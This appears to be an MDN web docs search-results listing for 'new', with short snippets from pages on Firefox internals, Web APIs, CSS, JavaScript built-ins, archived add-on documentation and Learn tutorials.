void setreferences(in string references); acstring getstringreference(in long refnum); void setrecipientsarray(in string names, in string addresses,in unsigned long numaddresses); void setcclistarray(in string names, in string addresses,in unsigned long numaddresses); void setbcclistarray(in string names, in string addresses,in unsigned long numaddresses);new in thunderbird 3.1 [noscript] void getauthorcollationkey(out octetptr key, out unsigned long len); [noscript] void getsubjectcollationkey(out octetptr key, out unsigned long len); [noscript] void getrecipientscollationkey(out octetptr key, out unsigned long len); attributes attribute type description isread boolean readonly: indicat...
... messageoffset unsigned long indicates the position of the offline copy of an imap or news messages within the offline store.
... offlinemessagesize unsigned long indicates the size of the offline copy of an imap or news message.
...And 5 more matches
nsIWebProgressListener
when a redirect occurs, a new request is generated automatically to process the new request.
... expect a corresponding state_start event for the new request, and a state_stop for the redirected request.
... location change flags constant value description location_change_same_document 0x00000001 this flag is on when awebprogress did not load a new document.
...And 5 more matches
Settings - Firefox Developer Tools
new tools are often included in firefox but not enabled by default.
...there's just one of these: enable persistent logs a setting to control whether or not the web console and network monitor clear their output when you navigate to a new page.
... enable new console frontend switch to the experimental new console.
...And 5 more matches
about:debugging - Firefox Developer Tools
if your about:debugging page is different from the one displayed here, go to about:config, find and set the option devtools.aboutdebugging.new-enabled to true.
...when you do, the developer tools open in a new tab.
... manifest url if you click the link, the manifest for this extension is loaded in a new tab.
...And 5 more matches
CanvasRenderingContext2D - Web APIs
this code draws a house: // set line width ctx.linewidth = 10; // wall ctx.strokerect(75, 140, 150, 110); // door ctx.fillrect(130, 190, 40, 60); // roof ctx.beginpath(); ctx.moveto(50, 140); ctx.lineto(150, 60); ctx.lineto(250, 140); ctx.closepath(); ctx.stroke(); the resulting drawing looks like this: reference drawing rectangles there are three methods that immediately draw rectangles to the canvas.
... canvasrenderingcontext2d.linewidth width of lines.
... canvasrenderingcontext2d.beginpath() starts a new path by emptying the list of sub-paths.
...And 5 more matches
FileSystemEntry.moveTo() - Web APIs
the filesystementry interface's method moveto() moves the file specified by the entry to a new location on the file system, or renames the file if the destination directory is the same as the source.
... an entry can't be moved into its parent directory unless you specify a new name.
... specifying a new name lets moveto() double as a rename operation.
...And 5 more matches
IDBObjectStore - Web APIs
this is for adding new records to an object store.
... idbobjectstore.createindex() creates a new index during a version upgrade, returning a new idbindex object in the connected database.
... idbobjectstore.opencursor() returns an idbrequest object, and, in a separate thread, returns a new idbcursorwithvalue object.
...And 5 more matches
Checking when a deadline is due - Web APIs
this step is mainly for browsers that don't support html form validation (i have used the required attribute in my html to force validation, in those that do.) else { var newitem = [ { tasktitle: title.value, hours : hours.value, minutes : minutes.value, day : day.value, month : month.value, year : year.value, notified : "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on th...
...duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var request = objectstore.add(newitem[0]); in this section we create an object called newitem that stores the data in the format required to insert it into the database.
... the next few lines open the database transaction and provide messages to notify the user if this was successful or failed.then an objectstore is created into which the new item is added.
...And 5 more matches
Recording a media element - Web APIs
function wait(delayinms) { return new promise(resolve => settimeout(resolve, delayinms)); } the wait() function returns a new promise which resolves once the specified number of milliseconds have elapsed.
... starting media recording the startrecording() function handles starting the recording process: function startrecording(stream, lengthinms) { let recorder = new mediarecorder(stream); let data = []; recorder.ondataavailable = event => data.push(event.data); recorder.start(); log(recorder.state + " for " + (lengthinms/1000) + " seconds..."); let stopped = new promise((resolve, reject) => { recorder.onstop = resolve; recorder.onerror = event => reject(event.name); }); let recorded = wait(lengthinms).then( () => recorder.state =...
... lines 9-12 creates a new promise, named stopped, which is resolved when the mediarecorder's onstop event handler is called, and is rejected if its onerror event handler is called.
...And 5 more matches
RTCTrackEvent - Web APIs
the webrtc api interface rtctrackevent represents the track event, which is sent when a new mediastreamtrack is added to an rtcrtpreceiver which is part of the rtcpeerconnection.
... constructor rtctrackevent() creates and returns a new rtctrackevent object, initialized with properties taken from the specified rtctrackeventinit dictionary.
... you will probably not need to create new track events yourself, since they're typically created by the webrtc infrastructure and sent to the connection's ontrack event handler.
...And 5 more matches
XRView - Web APIs
WebAPIXRView
it's computed by inverting then transposing the model view matrix: mat4.invert(normalmatrix, modelviewmatrix); mat4.transpose(normalmatrix, normalmatrix); teleporting an object to programmatically move and/or rotate (often referred to as teleporting) an object, you need to create a new reference space for that object which applies a transform that encapsulates the desired changes.
... the createteleporttransform() function returns the transform needed to move and rotate an object whose current situation is described by the reference space refspace to a new position and orientation which is computed using previously recorded mouse and keyboard input data which has generated offsets for yaw, pitch, and position along all three axes.
... let newtransform = new xrrigidtransform({x: transversedistance, y: verticaldistance, z: axialdistance}, {x: inverseorientation[0], y: inverseorientation[1], z: inverseorientation[2], w: inverseorientation[3]}); mat4.copy(mousematrix, newtransform.matrix); // create...
...And 5 more matches
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
mostly myth: microsoft is abandoning msaa in longhorn reality: microsoft's accessibility strategy is changing to a new api in longhorn.
...there's a very good chance they won't ask for more than the events marked [important]: event_system_sound event_system_alert [can be important, to have auto-speaking for newly created role_alerts] event_system_foreground event_system_menustart [important] event_system_menuend [important] event_system_menupopupstart [important] event_system_menupopupend [important] event_system_capturestart event_system_captureend event_system_movesizestart event_system_movesizeend event_system_contexthelpstart event_system_contexthelpend ...
...fire event_object_statechange for a window/client/pane object when it starts to load a new document.
...And 5 more matches
Border-image generator - CSS: Cascading Style Sheets
this.min : value; var input = new inputcomponent(this); var slider_left = new slidercomponent(this, -1); var slider_right = new slidercomponent(this, 1); slider_left.classname = 'ui-input-slider-left'; slider_right.classname = 'ui-input-slider-right'; if (name) { var info = document.createelement('span'); info.classname = 'ui-input-slider-info'; info.textcontent = name; node.appendchild(info); } nod...
...ic] === undefined) return; for (var i = 0; i < subscribers[this.topic].length; i++) subscribers[this.topic][i](this.value); }; var createslider = function createslider(topic, label) { var slider = document.createelement('div'); slider.classname = 'ui-input-slider'; slider.setattribute('data-topic', topic); if (label !== undefined) slider.setattribute('data-info', label); new inputslider(slider); return slider; }; var init = function init() { var elem = document.queryselectorall('.ui-input-slider'); var size = elem.length; for (var i = 0; i < size; i++) new inputslider(elem[i]); }; return { init : init, setmax : setmax, setmin : setmin, setunit : setunit, setstep : setstep, getnode : getnode, getstep : getstep, setvalue : setvalue, s...
...]); notify.call(this); }; var createdropdown = function createdropdown(topic, options) { var dropdown = document.createelement('div'); dropdown.setattribute('data-topic', topic); dropdown.classname = 'ui-dropdown'; for (var i in options) { var x = document.createelement('div'); x.setattribute('data-value', i); x.textcontent = options[i]; dropdown.appendchild(x); } new dropdown(dropdown); return dropdown; }; var setvalue = function setvalue(topic, index) { if (dropdowns[topic] === undefined || index >= dropdowns[topic].dropmenu.children.length) return; dropdowns[topic].setnodevalue(dropdowns[topic].dropmenu.children[index]); }; var subscribe = function subscribe(topic, callback) { if (subscribers[topic] === undefined) subscribers[topic]...
...And 5 more matches
Introduction to formatting contexts - CSS: Cascading Style Sheets
creating a new block formatting context the <html> element is not the only element capable of creating a block formatting context.
... a new bfc is created in the following situations: elements made to float using float absolutely positioned elements (including position: fixed or position: sticky) elements with display: inline-block table cells or elements with display: table-cell, including anonymous table cells created when using the display: table-* properties table captions or elements with display: table-caption block elements where overflow has a value other than visible elements with display: flow-root or display: flow-root list-item elements with contain: layout, content, or strict flex items grid items multicol containers elements with column-span set to all this is useful because a new bfc will behav...
... bfc creation examples let's have a look at a couple of these in order to see the effect creating a new bfc.
...And 5 more matches
position - CSS: Cascading Style Sheets
WebCSSposition
this value creates a new stacking context when the value of z-index is not auto.
... this value creates a new stacking context when the value of z-index is not auto.
... this value always creates a new stacking context.
...And 5 more matches
Using the application cache - HTML: Hypertext Markup Language
if the cache manifest has been updated, the browser downloads a new version of the manifest and the resources listed in the manifest.
...if you change a cached resource (for example, you update the header.png image with new content), you must also change the content of the manifest file in order to let browsers know that they need to refresh the cache.
... important: do not specify the manifest itself in the cache manifest file, otherwise it will be nearly impossible to inform the browser a new manifest is available.
...And 5 more matches
JavaScript modules - JavaScript
the good news is that modern browsers have started to support module functionality natively, and this is what this article is all about.
... renaming imports and exports inside your import and export statement's curly braces, you can use the keyword as along with a new feature name, to change the identifying name you will use for a feature inside the top-level module.
... so for example, both of the following would do the same job, albeit in a slightly different way: // inside module.js export { function1 as newfunctionname, function2 as anothernewfunctionname }; // inside main.js import { newfunctionname, anothernewfunctionname } from './modules/module.js'; // inside module.js export { function1, function2 }; // inside main.js import { function1 as newfunctionname, function2 as anothernewfunctionname } from './modules/module.js'; let's look at a real example.
...And 5 more matches
Array.from() - JavaScript
the array.from() static method creates a new, shallow-copied array instance from an array-like or iterable object.
... return value a new array instance.
...as a result, static methods such as array.from() are "inherited" by subclasses of array, and create new instances of the subclass, not array.
...And 5 more matches
Int16Array() constructor - JavaScript
syntax new int16array(); // new in es2017 new int16array(length); new int16array(typedarray); new int16array(object); new int16array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
... each value in typedarray is converted to the corresponding type of the constructor before being copied into the new array.
...And 5 more matches
Int32Array() constructor - JavaScript
syntax new int32array(); // new in es2017 new int32array(length); new int32array(typedarray); new int32array(object); new int32array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
... each value in typedarray is converted to the corresponding type of the constructor before being copied into the new array.
...And 5 more matches
RegExp.prototype[@@replace]() - JavaScript
the [@@replace]() method replaces some or all matches of a this pattern in a string by a replacement, and returns the result of the replacement as a new string.
... syntax regexp[symbol.replace](str, newsubstr|function) parameters str a string that is a target of the replacement.
... newsubstr (replacement) the string that replaces the substring.
...And 5 more matches
SharedArrayBuffer - JavaScript
in both cases, the sharedarraybuffer object is transmitted to the receiver resulting in a new, private sharedarraybuffer object in the receiving agent (just as for arraybuffer).
... var sab = new sharedarraybuffer(1024); worker.postmessage(sab); updating and synchronizing shared memory with atomic operations shared memory can be created and updated simultaneously in workers or the main thread.
...in 2020, a new, secure approach has been standardized to re-enable shared memory.
...And 5 more matches
String.prototype.replaceAll() - JavaScript
the replaceall() method returns a new string with all matches of a pattern replaced by a replacement.
... syntax const newstr = str.replaceall(regexp|substr, newsubstr|function) when using a `regexp` you must have to set the global ("g") flag; otherwise, it will throw a typeerror: "replaceall must be called with a global regexp".
...the matches are replaced with newsubstr or the value returned by the specified function.
...And 5 more matches
Symbol - JavaScript
the symbol() function returns a value of type symbol, has static properties that expose several members of built-in objects, has static methods that expose the global symbol registry, and resembles a built-in object class, but is incomplete as a constructor because it does not support the syntax "new symbol()".
... description to create a new primitive symbol, you write symbol() with an optional string as its description: let sym1 = symbol() let sym2 = symbol('foo') let sym3 = symbol('foo') the above code creates three new symbols.
...it creates a new symbol each time: symbol('foo') === symbol('foo') // false the following syntax with the new operator will throw a typeerror: let sym = new symbol() // typeerror this prevents authors from creating an explicit symbol wrapper object instead of a new symbol value and might be surprising as creating explicit wrapper objects around primitive data types is generally possible (for example, new boolean, new string and new number).
...And 5 more matches
Uint32Array() constructor - JavaScript
syntax new uint32array(); // new in es2017 new uint32array(length); new uint32array(typedarray); new uint32array(object); new uint32array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
... each value in typedarray is converted to the corresponding type of the constructor before being copied into the new array.
...And 5 more matches
Uint8Array() constructor - JavaScript
syntax new uint8array(); // new in es2017 new uint8array(length); new uint8array(typedarray); new uint8array(object); new uint8array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
... each value in typedarray is converted to the corresponding type of the constructor before being copied into the new array.
...And 5 more matches
Uint8ClampedArray() constructor - JavaScript
syntax new uint8clampedarray(); // new in es2017 new uint8clampedarray(length); new uint8clampedarray(typedarray); new uint8clampedarray(object); new uint8clampedarray(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
... each value in typedarray is converted to the corresponding type of the constructor before being copied into the new array.
...And 5 more matches
context-menu - Archive of obsolete content
when a "context" listener returns a string, it becomes the item's new label.
... accesskey single-character string new in firefox 35.
... predicatecontext(predicatefunction) new in firefox 29 creates a context that occurs when predicatefunction returns a true value.
...And 4 more matches
core/heritage - Archive of obsolete content
reading or writing such code requires sharp eye and lot's of discipline, mainly due to code fragmentation and lots of machinery being exposed: // defining a simple class function dog(name) { // classes are for creating instances, calling them without `new` changes // behavior, which in majority cases you need to handle, so you end up // with additional boilerplate.
... if (!(this instanceof dog)) return new dog(name); this.name = name; }; // to define methods you need to make a dance with a special 'prototype' // property of the constructor function.
...ruff!' }; // subclassing a `dog` function pet(name, breed) { // once again we do our little dance if (!(this instanceof pet)) return new pet(name, breed); dog.call(this, name); this.breed = breed; } // to subclass, you need to make another special dance with special // 'prototype' properties.
...And 4 more matches
lang/functional - Archive of obsolete content
returns function : the new, deferred function.
... partial(fn, arguments...) takes a function and bind values to one or more arguments, returning a new function of smaller arity.
... let { chain } = require("sdk/lang/functional"); function person (age) { this.age = age; } person.prototype.happybirthday = chain(function () this.age++); let person = new person(30); person .happybirthday() .happybirthday() .happybirthday() console.log(person.age); // 33 parameters fn : function the function that will be wrapped by the chain function.
...And 4 more matches
lang/type - Archive of obsolete content
uses typeof operator to check type, and will only properly detect string primitives: for example, a string created with new string() will always return false.
...uses typeof operator to check type, and will only properly detect number primitives: for example, a number created with new number() will always return false.
... let { isregexp } = require('sdk/lang/type'); isregexp(/[^\.]*\.js$/); // true isregexp(new regexp('substring')); // true isregexp(1000); // false parameters value : mixed the variable to check.
...And 4 more matches
remote/parent - Archive of obsolete content
for consistency and to make writing multiprocess compatible code easier, remoterequire() will also create a new module loader and load modules in the main process.
...listen to attach and detach events to hear as processes are started and stopped: const { processes } = require("sdk/remote/parent"); processes.on("attach", function(process) { console.log("new process is remote: " + process.isremote); }); methods forevery(callback) calls the callback for every existing process and any new processes created in the future.
... events attach event emitted when a new process is started.
...And 4 more matches
Getting started (cfx) - Archive of obsolete content
initializing an empty add-on in the command prompt, create a new directory.
... next, save these three icon files to the "data" directory: icon-16.png icon-32.png icon-64.png back at the command prompt, type: cfx run this is the sdk command to run a new instance of firefox with your add-on installed.
...click the icon, and a new tab will open with https://www.mozilla.org/ loaded into it.
...And 4 more matches
Appendix: What you should know about open-source software licenses - Archive of obsolete content
modifying software would be changing its functionality or adding new functions.
... the following tasks can be considered modifications revision: rewriting the source code; addition: adding new code, or adding parts of it to other code; linkage: creating static or dynamic links.
...this condition, which is commonly referred to as “copyleft,” mandates that any modification to the source code, or any new code combined with the source code, must be released under the same kind of license.
...And 4 more matches
Index of archived content - Archive of obsolete content
techniques promises updating addons broken by private browsing changes using dependent libraries in extension components using the stylesheet service bookmarks.export() bookmarks.import() adding preferences to an extension an interview with douglas bowman of wired news archived mozilla and build documentation activex control for hosting netscape plug-ins in ie archived spidermonkey docs file object open merging tracemonkey repo spidermonkey coding conventions ...
... creating a hybrid cd creating regular expressions for a microsummary generator dtrace dehydra dehydra frequently asked questions dehydra function reference dehydra object reference installing dehydra using dehydra developing new mozilla features devmo 1.0 launch roadmap download manager improvements in firefox 3 download manager preferences drag and drop drag and drop example drag and drop javascript wrapper drag and drop events editor embedding guide embedding faq embed...
... modularization techniques monitoring downloads mozilla application framework mozilla application framework in detail mozilla crypto faq mozprocess mozprofile mozrunner nsc_setpin nanojit lir new security model for web services new skin notes overview of how downloads work plug-n-hack plug-n-hack get involved plug-n-hack phase1 plug-n-hack phase2 plug-n-hack tools supported plugin architecture porting nspr to unix platforms priority con...
...And 4 more matches
Getting Started - Archive of obsolete content
skin\classic\messenger-newsblog messenger-newsblog contains the only css file.
... install your new theme before you can see the changes you make to a seamonkey theme (since live edits are restrictively difficult to set up) you must first learn how to repackage the classic theme to make it installable.
...so create a new directory called my_theme.
...And 4 more matches
Embedding Mozilla in a Java Application using JavaXPCOM - Archive of obsolete content
prerequisites java 1.4.2 or newer xulrunner 1.8.0.1 or newer embedding in order to embed mozilla in your java application, you will need to add the library mozillainterfaces.jar (located in xulrunner/sdk/lib folder) to your classpath.
...first, the java application must find a suitable xulrunner installation: mozilla mozilla = mozilla.getinstance(); greversionrange[] range = new greversionrange[1]; range[0] = new greversionrange("1.8.0", true, "1.9", false); // work with trunk nightly version 1.9a1 ^^ try { file grepath = mozilla.getgrepathwithproperties(range, null); locationprovider locprovider = new locationprovider(grepath); mozilla.initembedding(grepath, grepath, locprovider); } catch (filenotfoundexception e) { // this exception is thrown if gregrepathwithproperties cannot find a gre } catch (xpcomexception e) { // this ex...
...the mozilla class provides several methods to facilitate this, such as getservicemanager, getcomponentmanager, and newlocalfile.
...And 4 more matches
Introducing the Audio API extension - Archive of obsolete content
this enables users to visualize audio data, to process this audio data and to create new audio data.
... for example: // create a new audio element var audiooutput = new audio(); // set up audio element with 2 channel, 44.1khz audio stream.
...you can see an example below: // write samples using a js array var samples = [0.242, 0.127, 0.0, -0.058, -0.242, ...]; var numbersampleswritten = audiooutput.mozwriteaudio(samples); // write samples using a typed array var samples = new float32array([0.242, 0.127, 0.0, -0.058, -0.242, ...]); var numbersampleswritten = audiooutput.mozwriteaudio(samples); in the following example, we create an audio pulse: <!doctype html> <html> <head> <title>generating audio in real time</title> <script type="text/javascript"> function playtone() { var output = new audio(); output.mozsetup(1, 44100); var sampl...
...And 4 more matches
Java in Firefox Extensions - Archive of obsolete content
liveconnect gives your extension's javascript code (linked from or contained in xul code) access to 2 objects: java and packages (note that per this thread, although the new documentation for the liveconnect reimplementation states that these globals will be deprecated (in the context of applets), "firefox and the java plug-in will continue to support the global java/packages keywords, in particular in the context of firefox extensions.").
... these 2 objects let you make use of the standard jdk classes, e.g., var ajavalist = new java.util.linkedlist(); if you want to load your own jars, then you can create your own java class loader.
...licyadd (loader, urls) { try { //if have trouble with the policy try changing it to //edu.mit.simile.javafirefoxextensionutils.urlsetpolicy var str = 'edu.mit.simile.javafirefoxextensionutils.urlsetpolicy'; var policyclass = java.lang.class.forname( str, true, loader ); var policy = policyclass.newinstance(); policy.setouterpolicy(java.security.policy.getpolicy()); java.security.policy.setpolicy(policy); policy.addpermission(new java.security.allpermission()); for (var j=0; j < urls.length; j++) { policy.addurl(urls[j]); } }catch(e) { alert(e+'::'+e.linenumber); } } //get extension folder installation path...
...And 4 more matches
Learn XPI Installer Scripting by Example - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
...lts\ icons\ plugins\ res\ note that this high-level structure parallels the directory structure of the installed browser very closely: as you will see in the installation script, the contents of the archive are installed onto the file system in much the same way that they are stored in the archive itself, though it's possible to rearrange things arbitrarily upon installation--to create new directories, to install files in system folders and other areas.
...the initinstall() method on the install object creates a new installation for the specified software and version.
...And 4 more matches
Building accessible custom components in XUL - Archive of obsolete content
introduction dhtml accessibility is a new technology which enables developers to construct accessible controls within (x)html pages.
...further reading grid element reference description element reference label element reference grid tutorial label tutorial adding roles with dhtml accessibility download stage-2.zip install stage-2.xpi using the new dhtml accessibility techniques in firefox 1.5, we can declare the role of each element in our spreadsheet.
...<code> function install_handlers() { var spreadsheet = window.document.getelementbyid('accjaxspreadsheet'); spreadsheet.addeventlistener('keypress', spreadsheet_keypress, true); spreadsheet.addeventlistener('focus', spreadsheet_focus, true); spreadsheet.addeventlistener('click', spreadsheet_click, true); } </code> with this new event handler and associated helper functions, we can navigate between cells and headers using the arrow keys.
...And 4 more matches
Moving, Copying and Deleting Files - Archive of obsolete content
this method takes two arguments, the first is the destination directory in which to copy the file to, and the second argument is the new name of the file, if you wish to rename it in its new location.
... var file = io.newfile("home", "source.txt"); var destination = io.newfile("desktop", ""); file.copyto(destination, "destination.txt"); this example copies a file called 'source.txt' within the user's home directory to the desktop.
... var file = io.newfile("home", "importantdata"); var destination = io.newfile("desktop", ""); destination.append("backups"); file.copyto(destination, ""); this example copies an item called 'importantdata' into a directory called 'backups' within the desktop directory.
...And 4 more matches
Extensions - Archive of obsolete content
adding a new menu the main menu bar in firefox has the id 'main-menubar'.
... to add a new menu onto the main application menubar, you will need to overlay this menubar.
...the insertbefore attribute is set to 'tools-menu' to ensure that the new menu is added at the right place.
...And 4 more matches
Manipulating Lists - Archive of obsolete content
the appenditem() function is used to append a new item to the end a list.
... similarly, there is also an insertitemat() and a removeitemat() function which inserts a new item and removes an existing item respectively.
... the syntax is as follows: list.insertitemat(3, "thursday", "thu"); list.removeitemat(3); the insertitemat() function takes an additional argument, the position to insert the new item.
...And 4 more matches
NPN_GetURL - Archive of obsolete content
can be of any type, such as http, ftp, news, or mailto.
...values: _blank or _new: load the link in a new blank unnamed window.
... safest target, even though, when used with a mailto or news url, this creates an extra blank the browser instance.
...And 4 more matches
What is RSS - Archive of obsolete content
(although rdf-based rss formats exist, namely the deprecated rss 0.90 and rss 1.0.) common uses of rss syndication are for the syndication of news web sites, of blogs, of internet radio, and of internet television.
...if you notice though, the rss versioning number got all messed up at this point, since rss 0.92 is newer than rss 1.0.
... news web sites use rss to provide everyone with a list of their newest articles.
...And 4 more matches
Sunbird Theme Tutorial - Archive of obsolete content
create a new directory in the <tt>extensions</tt> directory.
... use the identifer as your new directory's name.
... this new directory is your theme directory.
...And 4 more matches
Game promotion - Game development
there are many ways to promote your game — most of them being free, so even if you're struggling to make a living as an indie dev with zero budget you can still do a lot to let people know about your great new game.
... competitions taking part in competitions will not only level up your gamedev skills and let you meet new devs to befriend and learn from — and it will also get you involved in the community.
...share your gamedev news and answer questions, so people will value what you're doing and will know that you're ok.
...And 4 more matches
Building up a basic demo with A-Frame - Game development
create a new directory to store your project in.
... html structure the first step is to create an html document — inside your project directory, create a new index.html file, and save the follow html inside it: <!doctype html> <html> <head> <meta charset="utf-8"> <title>mdn games: a-frame demo</title> <script src="aframe.min.js"></script> </head> <body> <!-- html goes here --> </body> </html> this contains some basic information like the document charset and <title>.
...when creating new objects in the demo, we will be adding them all to the scene to make them visible on the screen.
...And 4 more matches
Desktop gamepad controls - Game development
first, we need an event listener to listen for the connection of the new device: window.addeventlistener("gamepadconnected", gamepadhandler); it's executed once, so we can create some variables we will need later on for storing the controller info and the pressed buttons: var controller = {}; var buttonspressed = []; function gamepadhandler(e) { controller = e.gamepad; output.innerhtml = "gamepad: " + controller.id; } the second line in the gamepadhandler ...
...next, the button status is cleared and the new information is added.
... the button.pressed() function detects the actual button presses: pressed: function(button, hold) { var newpress = false; for(var i=0,s=gamepadapi.buttons.status.length; i<s; i++) { if(gamepadapi.buttons.status[i] == button) { newpress = true; if(!hold) { for(var j=0,p=gamepadapi.buttons.cache.length; j<p; j++) { if(gamepadapi.buttons.cache[j] == button) { newpress = false; } } } } } return newpress; }, it loops through pressed buttons and if the button we're looking for is pressed, then the corresponding boolean v...
...And 4 more matches
The box model - Learn web development
these characteristics refer to how the box behaves in terms of page flow, and in relation to other boxes on the page: if a box is defined as a block, it will behave in the following ways: the box will break onto a new line.
... if a box has an outer display type of inline, then: the box will not break onto a new line.
...the browser renders this as a block box, so the paragraph begins on a new line, and expands to the full width available to it.
...And 4 more matches
Fundamental text and font styling - Learn web development
courier new monospace some oses have an alternative (possibly older) version of the courier new font called courier.
... it's considered best practice to use both with courier new as the preferred alternative.
... georgia serif times new roman serif some oses have an alternative (possibly older) version of the times new roman font called times.
...And 4 more matches
How do I start to design my website? - Learn web development
it can be anything: selling goods to make money, expressing political opinions, meeting new friends, gigging with musicians, collecting cat pictures, or whatever you want.
... find a new girl/boyfriend.
...order the goals from most important to least important: find a new girl/boyfriend.
...And 4 more matches
JavaScript basics - Learn web development
as your javascript skills grow, your websites will enter a new dimension of power and creativity.
... go to your test site and create a new folder named scripts.
... within the scripts folder, create a new file called main.js, and save it.
...And 4 more matches
Basic math in JavaScript — numbers and operators - Learn web development
this is especially true when we are learning to program javascript (or any other language for that matter) — so much of what we do relies on processing numerical data, calculating new values, and so on, that you won't be surprised to learn that javascript has a full-featured set of math functions available.
... the second bit of good news is that unlike some other programming languages, javascript only has one data type for numbers, both integers and decimals — you guessed it, number.
...for a start, note that you can't apply these directly to a number, which might seem strange, but we are assigning a variable a new updated value, not operating on the value itself.
...And 4 more matches
Useful string methods - Learn web development
a good way to do this is to: convert the whole of the string contained in the input variable to lower case and store it in a new variable.
... grab the first letter of the string in this new variable and store it in another variable.
...store the result of this replace procedure in another new variable.
...And 4 more matches
Learning area release notes - Learn web development
check back here if you want to know what new content is available, and what existing content has been improved.
... if you want to give feedback on any of these new additions, please leave comments in our discourse forum.
... april 2020 our new understanding client-side web development tools module has been released!
...And 4 more matches
Client-Server Overview - Learn web development
post: create a new resource (e.g.
... add a new article to a wiki, add a new contact to a database).
... put: update an existing resource (or create a new one if it doesn't exist).
...And 4 more matches
Getting started with Ember - Learn web development
to create a brand new application, type the following in your terminal.
... this creates a new directory inside the current directory you are in called todomvc, containing the scaffolding for a new ember app.
...(good suggestions are your "desktop" or "documents" directories, so that it is easy to find): ember new todomvc or, on windows: npx ember-cli new todomvc this generates a production-ready application development environment that includes the following features by default: development server with live reload.
...And 4 more matches
Accessibility Features in Firefox
rather than go and write their own new web browser, ibm decided to trust in the openness of the mozilla community, which accepted ibm's significant contributions.
... for example, ibm has delivered over 50,000 lines of code to enable accessibility in firefox on windows and especially for this new powerful world of "web applications".
...firefox is currently the only browser to support the newly evolving standards for making these web applications accessible.
...And 4 more matches
CSUN Firefox Materials
in addition to winning major awards such as pc world product of the year, firefox has attracted a huge following among savvy users who simply care enough about their web browsing experience to download a new piece of software.
... fire vox is a screen reader extension built just for firefox which can read mathml the accessibility extension, from the university of illinois, provides new menus and keyboard shortcuts for accessing every feature of a web page community contributions the real reason behind firefox's success is the great community of volunteers and organizations that realize they have something to benefit from a browser open to utilizing their ideas and hard work.
...rather than go and write their own new web browser, ibm decided to trust in the openness of the mozilla community, which accepted ibm's significant contributions.
...And 4 more matches
Application cache implementation overview
the load starts again from the top with a completely new channel.
...then creates a new nsiapplicationcache for the given manifest url using nsiapplicationcacheservice::createapplicationcache().
... this new cache version is now pending to be activated after all following long and complicated download process passes.
...And 4 more matches
mach
adding features to mach most mach features come in the form of new commands.
... implementing new commands is as simple as writing a few lines of python and registering the created file with mach.
... the first step to adding a new feature to mach is to file a bug.
...And 4 more matches
WebRequest.jsm
the webrequest module is new in firefox 41.
...the matchpattern constructor accepts: either: a string defining a single pattern or: an array of such strings cu.import("resource://gre/modules/matchpattern.jsm"); let pattern = new matchpattern("https:/developer.mozilla.org/*"); cu.import("resource://gre/modules/matchpattern.jsm"); let pattern = new matchpattern(["https://mozorg.cdn.mozilla.net/*", "https://mdn.mozillademos.org/*", "https://developer.cdn.mozilla.net/*"]); see the match patterns article for details on the syntax of the strings you supply.
...= cu.import("resource://gre/modules/webrequest.jsm", {}); webrequest.onbeforerequest.addlistener(logurl); function logurl(e) { console.log("loading: " + e.url); } filtering this example logs urls for requests under "https://developer.mozilla.org/": let {webrequest} = cu.import("resource://gre/modules/webrequest.jsm", {}); cu.import("resource://gre/modules/matchpattern.jsm"); let pattern = new matchpattern("https:/developer.mozilla.org/*"); webrequest.onbeforerequest.addlistener(logurl, {urls: pattern}); function logurl(e) { console.log("loading: " + e.url); } this listener will be invoked for requests matching any of the three patterns, where the resource type is "stylesheet" or "image": let {webrequest} = cu.import("resource://gre/modules/webrequest.jsm", {}); cu.import("resou...
...And 4 more matches
Localizing with Mozilla Translator
like most cat tools, mozillatranslator employs glossaries and translation memory to leverage your work from previous translations, thus cutting time and effort when localizing new versions of mozilla applications.
...this will remove obsolete strings and files from the internal database of mt, and will present you with a list of new and updated strings.
... if you are starting a new localization, all strings will be marked as new or updated.mt puts a fuzzy flag on each flag and saves it in its database.
...And 4 more matches
Release phase
you can now visit http://hg.mozilla.org/releases/l10n-central/x-testing in your browser to see the new changeset in the remote repository.
... technical review sign-off review performed as a qa measure on a revision pushed to a new locale's l10n aurora repo in mercurial.
... only performed on the first revision a new locale wants to have released to the public.
...And 4 more matches
Mozilla Web Developer FAQ
however, authoring new documents that rely on quirks is discouraged.
...(there is partial undetectable support for document.all, though, in newer versions of mozilla.
...you should not rely on mozilla’s document.all support on new pages.) the method document.getelementbyid() can be used instead.
...And 4 more matches
Leak And Bloat Tests
this page describes how to perform tests that measure memory leaks and bloat for mailnews and its sub-components.
... aim to provide a continuous check within mailnews and its sub-components for the following items: total memory leaks.
...code locations the files specific to leak and bloat testing are be stored in: http://mxr.mozilla.org/comm-central/source/mailnews/test/performance these files consist of: overlays (used to provide the hooks for the javascript): bloat/bloataddroverlay.xul bloat/bloatcomposeoverlay.xul bloat/bloatmainoverlay.xul javascript files (used to drive the tests): bloat/bloataddroverlay.js bloat/bloatcomposeoverlay.js bloat/bloatmainoverlay.js preference settings (used to provide a defined profile, see below): common/mailnew...
...And 4 more matches
NSS 3.12.4 release notes
<center> 2009-08-20 </center> <center>newsgroup: mozilla.dev.tech.crypto</center> introduction network security services (nss) 3.12.4 is a patch release for nss 3.12.
